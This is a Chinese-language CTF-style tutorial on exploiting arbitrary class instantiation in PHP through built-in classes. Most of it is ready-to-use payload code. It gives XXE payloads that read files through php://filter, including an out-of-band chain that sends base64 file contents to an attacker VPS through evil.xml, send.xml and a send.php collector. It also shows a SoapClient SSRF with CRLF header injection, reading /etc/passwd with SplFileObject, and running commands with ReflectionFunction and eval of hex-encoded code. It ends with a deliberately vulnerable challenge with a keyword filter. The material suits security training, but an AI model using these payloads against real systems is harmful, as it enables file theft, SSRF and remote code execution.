适用场景 在存在任意类实例化漏洞但是没有pop链的情况下,可以尝试利用原生类
GlobIterator 可以列出目录下的文件名
适用版本:php5.3.* php 7
第一个参数指定搜索的路径和类型,第二个参数为选择文件的哪个信息作为键名
1 $newclass = new GlobIterator ('./*.php' ,0 );
1 2 3 4 5 6 7 8 <?php $iterator = new GlobIterator (__DIR__ . './*.php' );while ($iterator ->valid()) { echo $iterator ->current()->getFilename() . '</br>' ; $iterator ->next(); }?>
SimpleXMLElement SimpleXMLElement::__contruct
Libxml2.9后默认不允许解析外部实体,可以通过函数参数LIBXML_NOENT开启解析
利用
根据可控方式选择
本地读取 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class NotFound { function __construct ( ) { die ('404' ); } } spl_autoload_register( function ($class ) { new NotFound(); } );$classname = isset ($_GET ['name' ]) ? $_GET ['name' ] : null ;$param = isset ($_GET ['param' ]) ? $_GET ['param' ] : null ;$param2 = isset ($_GET ['param2' ]) ? $_GET ['param2' ] : null ;if (class_exists($classname )){ $newclass = new $classname ($param ,$param2 ); var_dump($newclass ); foreach ($newclass as $key =>$value ) echo $key .'=>' .$value .'<br>' ; }
1 2 3 4 5 6 7 8 9 10 11 12 <?php $a ='<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./1.php"> ]> <x>&xxe;</x>' ;$a =new SimpleXMLElement($a ,2 );echo $a ;?>
需要两个参数可控
利用SimpleXMLElement
构造一个XML文档,从而利用 XXE读取文件 。当文件中有< > & ‘ “ 这5个符号时,会导致XML文件解析错误,所以要利用php://filter,将要读取的文件内容经过 base64编码 后输出。如:
1 2 3 4 5 <?xml version="1.0" ?> <!DOCTYPE ANY [ <!ENTITY name SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php" > ]> <a > &name; </a >
有几个地方需要注意以下,在url中不能直接打&
会被歧义,我们使用 %26
还有就是resource=
后面不需要引号包裹。第二个参数里的2对应的模式是 LIBXML_NOENT。 payload:
1 ?name=SimpleXMLElement¶m=<?xml version="1.0" ?> <!DOCTYPE ANY [<!ENTITY name SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php" > ]> <a > %26name;</a > ¶m2=2
至于为什么第二个参数为二,实际上这里2对应的模式是 LIBXML_NOENT ,我们直接记住用二吧不然就是直接百度。
远程读取 必须有三个参数可控,才能读取远程xml文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class NotFound { function __construct ( ) { die ('404' ); } } spl_autoload_register( function ($class ) { new NotFound(); } );$classname = isset ($_GET ['name' ]) ? $_GET ['name' ] : null ;$param = isset ($_GET ['param' ]) ? $_GET ['param' ] : null ;$param2 = isset ($_GET ['param2' ]) ? $_GET ['param2' ] : null ;$param3 = isset ($_GET ['param3' ]) ? $_GET ['param3' ] : null ;if (class_exists($classname )){ $newclass = new $classname ($param ,$param2 ,$param3 ); var_dump($newclass ); }
SimpleXMLElement读取远程文件evil.xml->evil.xml请求send.xml,实际执行的是send.xml
send.php负责保存结果,在vps上构造如下evil.xml、send.xml和send.php这三个文件。
evil.xml:
1 2 3 4 5 6 7 <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY % remote SYSTEM "http://47.xxx.xxx.72/send.xml" > %remote; %all; %send; ]>
send.xml:
1 2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" > <!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.111.129/send.php?file=%file;'>" >
send.php:
1 2 3 <?php file_put_contents("result.txt" , $_GET ['file' ]) ;?>
然后在url中构造如下:
1 /show.php?module=SimpleXMLElement&args[]=http://47.xxx.xxx.72/evil.xml&args [ ]=2&args[]=true
接收到数据
Error/Exception __toString
Error 1 2 3 4 <?php $a =new Error ('<script>alert(1)</script>' );echo $a ;?>
getmessage getMessage可直接传入eval执行命令,将转换成hex执行
1 2 3 4 $a = new Error ('?' );$c = "getMessage" ;$d = "eval(phpinfo())" ;eval ("\$a->$c ($d );" );
1 eval (hex2bin("6563686f20706928293b" ))
1 2 3 4 5 6 7 <?php echo bin2hex('phpinfo();' );$a =new Error ();$a ->getMessage(eval (hex2bin("706870696e666f28293b" )));?>
SoapClient php存在内置类SoapClient::__call
,存在可以触发__call
方法时,可以进行ssrf
进行SSRF
配合CRLF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $target = 'http://192.168.111.129:5555/path' ;$post_string = 'data=something' ;$headers = array ( 'X-Forwarded-For: 127.0.0.1' , 'Cookie: PHPSESSID=my_session' );$b = new SoapClient(null ,array ('location' => $target ,'user_agent' =>'wupco^^Content-Type: application/x-www-form-urlencoded^^' .join('^^' ,$headers ).'^^Content-Length: ' .(string )strlen($post_string ).'^^^^' .$post_string ,'uri' => "aaab" ));$aaa = serialize($b );$aaa = str_replace('^^' ,"\r\n" ,$aaa );$aaa = str_replace('&' ,'&' ,$aaa );echo $aaa ;$c = unserialize($aaa );$c ->not_exists_function();?>
成功接收到报文
DirectoryIterator 遍历目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 DirectoryIterator extends SplFileInfo implements SeekableIterator { public __construct ( string $path ) public current ( ) : DirectoryIterator public getATime ( ) : int public getBasename ( string $suffix = ? ) : string public getCTime ( ) : int public getExtension ( ) : string public getFilename ( ) : string public getGroup ( ) : int public getInode ( ) : int public getMTime ( ) : int public getOwner ( ) : int public getPath ( ) : string public getPathname ( ) : string public getPerms ( ) : int public getSize ( ) : int public getType ( ) : string public isDir ( ) : bool public isDot ( ) : bool public isExecutable ( ) : bool public isFile ( ) : bool public isLink ( ) : bool public isReadable ( ) : bool public isWritable ( ) : bool public key ( ) : string public next ( ) : void public rewind ( ) : void public seek ( int $position ) : void public __toString ( ) : string public valid ( ) : bool }
FilesystemIterator 列出目录下文件
1 2 3 <?php $dir =new FilesystemIterator ("/" );echo $dir ;
SplFileInfo 读取文件,但是不添加其他参数只能读取第一行
1 2 3 <?php $context = new SplFileObject ('/etc/passwd' );echo $context ;
可以通过遍历的方式读取所有内容
1 2 3 4 5 <?php $context = new SplFileObject ('/etc/passwd' );foreach ($context as $f ){ echo ($f ); }
ReflectionFunction invokeArgs 可执行命令
1 2 3 4 5 6 7 8 9 10 <?php $a =new ReflectionFunction('call_user_func' );$a ->invokeArgs(array ('system' ,'whoami' ));$a =new ReflectionFunction('system' );$a ->invokeArgs(array ('whoami' ));?>
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php function waf ($s ) { return preg_replace('/sys|exec|sh|flag|pass|file|open|dir|2333|;|#|\/\/|>/i' ,"NepnEpneP" , $s ); }if (isset ($_GET ['a' ])){ $_ = waf($_GET ['a' ]); $__ = waf($_GET ['b' ]); $a = new $_ ($__ );}else { $a = new Error ('?' );}if (isset ($_GET ['c' ]) && isset ($_GET ['d' ])){ $c = waf($_GET ['c' ]); $d = waf($_GET ['d' ]); eval ("\$a->$c ($d );" ); }else { $c = "getMessage" ; $d = "" ; eval ("echo \$a->$c ($d );" );}?>